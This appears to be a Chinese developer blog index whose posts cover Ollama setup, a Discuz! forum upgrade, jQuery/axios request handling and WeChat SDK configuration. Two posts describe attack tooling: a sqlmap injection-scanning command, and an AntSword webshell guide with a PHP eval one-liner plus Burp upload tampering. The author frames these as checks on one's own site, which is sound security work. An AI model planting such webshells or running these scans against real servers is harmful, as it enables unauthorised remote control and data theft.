博客 (49)

今天遇到一个向基于 .NET Framework 框架开发的 Web 网站 POST 数据响应 405 Method Not Allowed 的问题。

服务端接口地址是 https://***/api/abc/Default.aspx,

若请求 https://***/api/abc/Default.aspx 或 https://***/api/abc/ 则正常 ,

若请求 https://***/api/abc 就会出现这个问题。

原因可能是服务器可能返回 301 重定向到 https://***/api/abc/Default.aspx,

导致最终接口接受到的请求方法不是 POST 。

xoyozo 半个月前
94

一、安装 Ollama

官网下载安装 Ollama。

你可以更改大模型存放目录,也可以开放远程访问

查看版本号:

ollama --version


二、在 shell 中安装和运行模型

Models 中选择一个你想部署的模型,复制安装命令,并在终端中执行。

官方建议:应该至少有 8 GB 的 RAM 来运行 7b 版本,16 GB 的 RAM 来运行 13b 版本,32 GB 的 RAM 来运行 33b 版本

本文以 deepseek-r1:7b 为例。

下载模型

ollama pull deepseek-r1:7b

Tip: 下载即将完成时速度可能会变得非常慢,只要按 Ctrl+C,再重新执行一次命令,就会继续正常下载。

显示模型信息

ollama show deepseek-r1:7b

运行模型(一次性响应)

ollama run deepseek-r1:7b "写一首诗"

运行模型(进入聊天模式)

ollama run deepseek-r1:7b

结束当前会话

/bye

列出所有模型

ollama list

列出当前加载的模型

ollama ps

停止当前正在运行的模型

ollama stop deepseek-r1:7b

删除一个模型

ollama rm deepseek-r1:7b


三、使用 REST API 调用模型

修改端口

ollama serve --port 11434

/api/generate 接口:生成一次性响应

curl http://localhost:11434/api/generate -d '{
  "model": "deepseek-r1:7b",
  "prompt":"为什么天空是蓝色的?"
}'

/api/chat 接口:与模型聊天

curl http://localhost:11434/api/chat -d '{
  "model": "deepseek-r1:7b",
  "messages": [
    { "role": "user", "content": "你好呀!" }
  ]
}'


四、在 .NET 中调用

1、直接 HTTP 调用(基础方案)

    创建 HttpClient,使用 PostAsJsonAsync 请求,使用 ReadFromJsonAsync 读取结果。

2、使用 OllamaSharp 库(推荐方案)

    创建 OllamaApiClient,使用 SelectedModel 设置模型,使用 GenerateAsync 获得结果。或创建对话 ollama.Chat(),并 Send 内容。

3、.NET Aspire 集成(企业级方案)

    适合微服务架构,结合容器化部署。


OllamaSharp 库”和“.NET Aspire 集成”两种方案怎么选?

OllamaSharp 库:定位轻量级模型交互 SDK,适用于独立应用、微服务中的 AI 组件等场景,技术复度低,支持模型对话/生成/管理、流式响应、多模态支持,需自行实现监控、熔断。

.NET Aspire 集成:定位企业级云原生 AI 服务编排框架,适用于多服务协同的分布式系统,技术复度高,支持服务编排、健康检查、弹性伸缩、混合云部署,内置可观测性仪表盘、自动故障转移。

决策建议:初创项目用 OllamaSharp 快速试错,用户量破千后通过 Aspire 重构。两者并非互斥,可在 Aspire 中封装 OllamaSharp 客户端,兼顾灵活性与运维能力。

xoyozo 5 个月前
3,899

本文记录于 2024 年 11 月。



升级前期望(最新正式版)最终选择
操作系统Alibaba Cloud Linux 3Alibaba Cloud Linux 3Alibaba Cloud Linux 3
管理面板宝塔面板 Linux 版 9.2.0宝塔面板 Linux 版 9.2.0宝塔面板 Linux 版 9.2.0
Web 服务nginx 1.24nginx 1.24nginx 1.24
脚本语言PHP 7.4PHP 8.2PHP 8.2
数据库
PolarDB MySQL 5.6RDS MySQL 9.1PolarDB MySQL 8.0
论坛程序
Discuz! X3.4 GBKDiscuz! X5.0Discuz! X3.5 UTF8


版本选择原因:

  • Discuz! X5 刚刚发布,生态尚未成熟,考虑到是老论坛升级,所以选择 X3.5。

  • Discuz! X3.5 目前最高支持 PHP 8.2、MySQL 8.0。


完整升级步骤:

  1. 购买新的 ECS、PolarDB,具体环境配置步骤参此文

  2. 安装宝塔面板并配置;

  3. 安装 nginx 及 PHP;

  4. 创建网站、配置 SSL、伪静态、防盗链、可写目录禁执行仅允许部分入口文件执行等(.conf);

  5. 配置 hosts;

  6. 如果是正式升级阶段,关闭论坛,防止产生新数据。

  7. 备份原网站程序、PolarDB 数据库;

  8. PolarDB 创建快照。

    测试阶段:从快照还原到新实例(MySQL 5.6 不能直接恢复到 MySQL 8.0),然后从 5.6 迁移到 8.0.x;

    正式阶段:全量模式直接从原实例迁移到 8.0.x,若增量模式且存在触发器,建议从快照还原;

  9. 上传原网站程序到新的站点目录下;

  10. 按 Discuz! X 升级文档升级 X3.4 至 X3.5;详情见下文 ↓;

  11. 升级完成后切换到 PHP 8;

  12. 配置 OSS、Redis、更新缓存等;

  13. 测试论坛基本功能是否正常;检查附件是否能够正常上传检查附件是否正常显示;全面检查控制台配置;

  14. 逐个开启插件并检查兼容性(短信通、马甲引擎等);

  15. 按二开备忘录逐个按需进行二开;

  16. 逐个修改调用论坛接口的项目及直接调用论坛数据库的项目;

  17. 调试 MAGAPP 接口;

  18. 尝试强制 https 访问;

  19. 将以上所有修改后的程序保留备份;发布升级公告并关闭论坛;重复以上步骤;修改域名解析;开启论坛;

  20. 配置 IP 封禁、定时器、日志、自动备份、配置其它 ECS 的 hosts 等;

  21. 查看搜索引擎中收录的地址,是否有无法访问的情况;

  22. 尝试将历史遗留的本地附件全部转移到 OSS;

  23. 建议 在新服上创建 3 个网站:

    1. 第 1 个用来尝试迁移、升级、二开,并测试所有功能

    2. 第 2 个用来再次重复这些步骤,最终保留程序代码及 UGC 文件,作为最终的网站程序,以正式域名作为网站根目录路径;

    3. 第 3 个用来正式升级,主要功能是升级最新数据库。完成后修改第 2 个网站的数据库连接指向到最新的数据库,差异化同步新增的 UGC 文件到第 2 个网站。


Discuz! X 升级步骤及注意点:

  • 因 PolarDB MySQL 不支持压缩,所以应移除 Discuz! 和 UCenter 代码中所有的 MYSQLI_CLIENT_COMPRESS,将 , MYSQLI_CLIENT_COMPRESS 替换为 /*, MYSQLI_CLIENT_COMPRESS*/

  • 升级前务必先修改 ./config/ 目录下的数据库/缓存连接信息,以防出现新站连接老库的情况;

  • 官方文档进行升级,升级前先修改一下:

  • 【UC】先升级 UCenter 1.6 至 1.7。

    将 /uc_server/data 权限改为 777 并递归。

    打开 update_ucenter_adult.php 修改 $limit 值为 10000 以免执行超时

    因通信失败的“发送通知失败”可以直接改 URL 参数跳过就完成了,原因可能是因数据量大,发送改名通知执行改名时超时。等DZ升级完成后UC会自动重试改名通知,或单独写个 php 文件将 UCenter 的用户名同步到应用的数据库。

  • 【DZ】运行到 /install/update_adult.php?step=innodb&table=pre_common_member_grouppm 时报错:Duplicate key name 'gpmid' ALTER TABLE common_member_grouppm ADD INDEX gpmid(gpmid);

    解决方法:先删除索引,因保存时提示失败,应同时取消 gpmid 字段的自增,转换成功后再设置自增。

  • 【DZ】运行到 /install/update_adult.php?step=file 一片空白而停止

    正在解决

  • 【问题】common_menber 表用户名字段编码转换失败

    原因是部分用户名包含特殊字符(如全角空格),用以下语句查看两个表同一 uid 的不同用户:

    SELECT 
        u.uid, 
        u.username AS ucenter_username, 
        c.username AS common_username
    FROM 
        pre_ucenter_members u
    JOIN 
        pre_common_member c ON u.uid = c.uid
    WHERE 
        u.username <> c.username

    Discuz! 用户登录都是以 UCenter 中的用户名为主,所以可以写个小程序直接将 pre_ucenter_members 的用户名同步到 pre_common_member 中,另外 pre_ucenter_members 的用户数少于 pre_common_member 是正常的。若 pre_common_member_archive 表遇到错误同理。

  • 如果用户登录慢,或打开 UCenter 慢,是因为 UC 正在通知 DZ 改用户名,每次打开一个页面会更改一个用户名,具体可以查看 pre_ucenter_notelist 中 closed 为 0 的队列,或进入 UC 后台-数据列表-通知列表 查看。

  • 【问题】发布主题遇到错误:(1062) Duplicate entry '*' for key 'pid'

    【原因】forum_post 中的 pid 不是自动增长的,而是由表 forum_post_tableid 中自动增长的 pid 生成的。如果生成的 pid 值已在 forum_post 表中存在,则会出现此错误。

  • 【解决】迁移数据库时应关闭论坛,以防止 forum_post 表有新数据插入。

  • 【问题】打开帖子页面 ./thread-***-1-1.html 显示 404 Not Found,而 ./forum.php?mod=viewthread&tid=*** 可以正常打开

    【原因】未配置伪静态(可在宝塔面板中选择)

  • 【问题】打开 UCenter 时报错:UCenter info: MySQL Query Error SQL:SELECT value FROM [Table]vars WHERE name='noteexists'

    【解决】打开文件 ./uc_server/data/config.inc.php 配置数据库连接

  • 【问题】打开登录 UCenter 后一片空白

    【解决】将目录 ./uc_server/data/ 设为可写

  • 需要将原来安装的插件文件移回 ./source/plugin/ 目录,并设置可写;

  • 界面-表情管理,界面-编辑器设置-Discuz!代码


后续 Discuz! X3.5 小版本升级注意事项:

  1. 确认插件是否支持新版本(如短信通)

  2. 先创建一个新网站测试二开代码

  3. 保留 /config/、/data/、/uc_client/data/、/uc_server/data/、/source/plugin/,其它移入 old

  4. 上传文件

  5. 移回其它需要的文件,如:

  6. -- 勋章/loading/logo/nv 等:/static/image/common/

  7. -- 表情:/static/image/smiley/

  8. -- 水印:/static/image/common/watermark.*

  9. -- 风格:/template/default/style/t2/nv.png 等

  10. -- 默认头像:/uc_server/images/noavatar_***.gif

  11. -- 根目录 favicon.ico 等

  12. -- 及其它非 DZ 文件

  13. 再次检查可写目录的写入权限和禁止运行 PHP 效果。


xoyozo 1 年前
1,470

POST

$.post('AjaxCases', {
    following: true,
    success: null,
    page: 1,
}, function (response) {
    console.log(response.data)
}, 'json').fail(function (xhr, status, error) {
    console.log(xhr.responseText);
});
[HttpPost]
public IActionResult AjaxCases([FromForm] AjaxCasesRequestModel req)
{
    bool? following = req.following;
    bool? success = req.success;
    int page = req.page;
}

提示:只能传输对象(Object),不能传输数组(Array)。


相关:axios 请求 .NET Core / .NET 5 / .NET 6

xoyozo 1 年前
1,533

以下是使用定时器每秒钟请求服务器,并在后一个请求的响应比前一个请求的响应先到达客户端时抛弃前一个请求的响应的代码:

(以 $.post 为例,$.ajax 同理)

let previousXHR = null; // 存储前一个请求的 jqXHR 对象

function sendRequest() {
  // 取消前一个请求
  if (previousXHR) {
    previousXHR.abort();
  }

  // 发送新的请求
  const currentXHR = $.post(url, data, function(response) {
    // 请求成功的回调函数
    console.log(response);
  });

  // 更新前一个请求的 jqXHR 对象
  previousXHR = currentXHR;
}

// 每秒钟发送请求
setInterval(sendRequest, 1000);


如果你用 axios,请参此文

xoyozo 2 年前
1,248

一般我们使用原生 JS 的时候使用 abort() 来取消 fetch 请求。

在使用 axios 发送请求时,如果我们想要取消请求,可以使用 axios 提供的 CancelToken 和 cancel 方法。下面是具体的实现步骤:

// 创建 CacnelToken 实例
const cancelTokenSource = axios.CancelToken.source();
// GET 方式请求
axios.get(url, {
    cancelToken: cancelTokenSource.token
}).catch(thrown => {
  if (axios.isCancel(thrown)) {
    console.log('Request canceled', thrown.message);
  } else {
    console.log('An error occurred', thrown);
  }
});
// POST 方式请求
axios.post(url, data, {
    cancelToken: cancelTokenSource.token
});
// 取消请求
cancelTokenSource.cancel('请求被取消');

get 请求的时候,cancelToken 是放在第二个参数里;post 的时候,cancelToken 是放在第三个参数里。axios-0.27.2 中测试成功。

在即时响应的搜索框中可以这样处理:(vue3)

let cancelTokenSource;
const app = Vue.createApp({
    methods: {
        fn_list: function () {
            // 如果已有请求则取消
            cancelTokenSource && cancelTokenSource.cancel();
            // 创建一个新的请求
            cancelTokenSource = axios.CancelToken.source();
            axios.post(url, data, {
                cancelToken: cancelTokenSource.token
            }).then(function (response) {
                // 请求成功
            }).catch(function (error) {
                // 请求失败/取消
            });
        },
    }
});
const vm = app.mount('#app');


如果你用 jQuery,请参此文

xoyozo 3 年前
4,484

以 ASP.NET 6 返回 BadRequestObjectResult 为例。

public IActionResult Post()
{
    return BadRequest("友好的错误提示语");
}


axios

请求示例:

axios.post(url, {})
.then(function (response) {
    console.log(response.data);
})
.catch(function (error) {
    console.log(error.response.data);
});

error 对象:

{
  "message": "Request failed with status code 400",
  "name": "AxiosError",
  "code": "ERR_BAD_REQUEST",
  "status": 400,
  "response": {
    "data": "友好的错误提示语",
    "status": 400
  }
}


jQuery

请求示例:

$.ajax 对象形式

$.ajax({
    url: url,
    type: 'POST',
    data: {},
    success: function (data) {
        console.log(data)
    },
    error: function (jqXHR) {
        console.log(jqXHR.responseText)
    },
    complete: function () {
    },
});

$.ajax 事件处理形式(Event Handlers)jQuery 3+

$.ajax({
    url: url,
    type: 'POST',
    data: {},
})
    .done(function (data) {
        console.log(data)
    })
    .fail(function (jqXHR) {
        console.log(jqXHR.responseText)
    })
    .always(function () {
    });

$.get / $.post / $.delete

$.post(url, {}, function (data) {
    console.log(data)
})
    .done(function (data) {
        console.log(data)
    })
    .fail(function (jqXHR) {
        console.log(jqXHR.responseText)
    })
    .always(function () {
    });

jqXHR 对象:

{
  "readyState": 4,
  "responseText": "友好的错误提示语",
  "status": 400,
  "statusText": "error"
}


xoyozo 3 年前
2,551

下载 sqlmap:https://github.com/sqlmapproject/sqlmap

下载 python:https://www.python.org/downloads/

以 windows 版为例:

安装 python;

解压缩 sqlmap;

“在终端中打开 / 在命令行中打开” sqlmap.py 文件所在目录;

执行命令 

python sqlmap.py -u "网址" --data="POST数据" --tables

需要注意的是,sqlmap 会记录探测过的网址的结果信息,修复网站漏洞后要再次检测是否安全时,应删除缓存文件,位置在:

C:\Users\用户\AppData\Local\sqlmap\output\

image.png

xoyozo 3 年前
5,214

中国蚁剑

https://github.com/AntSwordProject

https://github.com/AntSwordProject/AntSword-Loader

http://t.zoukankan.com/liang-chen-p-14181806.html


使用说明:

下载 AntSword-Loader 和 antSword 并解压;

打开 AntSword.exe,初始化时选择 antSword 目录;

右键“添加数据”,填 URL,选择连接类型,以 PHP 为例,服务器上放置一个 PHP 文件,格式如:

<?php @ev删除这七个汉字al($_POST['value']); ?>

那么,“连接密码”就填 POST 的参数名 value。

添加完成,双击可打开树状菜单,显示服务器上所有有权限的文件。


Burp:篡改请求(譬如上传图片时将文件名改为.php,并添加shell脚本)

https://portswigger.net/burp


使用方法:https://zhuanlan.zhihu.com/p/537053564


一句话木马:https://www.icode9.com/content-4-1081174.html


xoyozo 3 年前
6,015

本文使用 ASP.NET 6 版本 Senparc.Weixin.Sample.MP 示例项目改造。


第一步 注册多公众号

方法一:打开 appsettings.json 文件,在 SenparcWeixinSetting 节点内添加数组节点 Items,该对象类型同 SenparcWeixinSetting。

//Senparc.Weixin SDK 设置
"SenparcWeixinSetting": {
  "IsDebug": true,
  "Token": "",
  "EncodingAESKey": "",
  "WeixinAppId": "",
  "WeixinAppSecret": "",
  "Items": [
    {
      "IsDebug": true,
      "Token": "a",
      "EncodingAESKey": "a",
      "WeixinAppId": "a",
      "WeixinAppSecret": "a"
    },
    {
      "IsDebug": true,
      "Token": "b",
      "EncodingAESKey": "b",
      "WeixinAppId": "b",
      "WeixinAppSecret": "b"
    }
  ]
}

方法二:修改 Program.cs 文件,在 UseSenparcWeixin 方法中注册多个公众号信息。

var registerService = app.UseSenparcWeixin(app.Environment,
    null /* 不为 null 则覆盖 appsettings  中的 SenparcSetting 配置*/,
    null /* 不为 null 则覆盖 appsettings  中的 SenparcWeixinSetting 配置*/,
    register => { /* CO2NET 全局配置 */ },
    (register, weixinSetting) =>
    {
        //注册公众号信息(可以执行多次,注册多个公众号)
        //register.RegisterMpAccount(weixinSetting, "【盛派网络小助手】公众号");
        foreach (var mp in 从数据库或配置文件中获取的公众号列表)
        {
            register.RegisterMpAccount(new SenparcWeixinSetting
            {
                //IsDebug = true,
                WeixinAppId = mp.AppId,
                WeixinAppSecret = mp.AppSecret,
                Token = mp.Token,
                EncodingAESKey = mp.EncodingAeskey,
            }, mp.Name);
        }
    });

完成后,我们可以从 Config.SenparcWeixinSetting.Items 获取这些信息。


第二步 接入验证与消息处理

打开 WeixinController 控制器,将构造函数改写为:

public WeixinController(IHttpContextAccessor httpContextAccessor)
{
    AppId = httpContextAccessor.HttpContext!.Request.Query["appId"];
    var MpSetting = Services.MPService.MpSettingByAppId(AppId);
    Token = MpSetting.Token;
    EncodingAESKey = MpSetting.EncodingAESKey;
}

示例中 Services.MPService.MpSettingByAppId() 方法实现从 Config.SenparcWeixinSetting.Items 返回指定 appId 的公众号信息。

为使 IHttpContextAccessor 注入生效,打开 Program.cs,在行

builder.Services.AddControllersWithViews();

下方插入

builder.Services.AddHttpContextAccessor();

这样,我们就可以在构造函数中直接获取地址栏中的 appId 参数,找到对应的公众号进行消息处理。


第三步 消息自动回复中的 AppId

打开 CustomMessageHandler.cs,将 

private string appId = Config.SenparcWeixinSetting.MpSetting.WeixinAppId;
private string appSecret = Config.SenparcWeixinSetting.MpSetting.WeixinAppSecret;

替换为:

private string appId = null!;
private string appSecret = null!;

并在构造函数中插入

appId = postModel.AppId;
appSecret = Services.MPService.MpSettingByAppId(postModel.AppId).WeixinAppSecret;

这样,本页中使用的 appId / appSecret 会从 postModel 中获取,而非默认公众号。postModel 已在 WeixinController 中赋值当前的 appId。

改造后,我们可以在 OnTextRequestAsync() 等处理消息的方法中可以判断 appId 来处理不同的消息。


第四步 其它功能和接口

其它功能和接口均可用指定的 AppId 和对应的 AppSecret 进行调用。

xoyozo 3 年前
5,719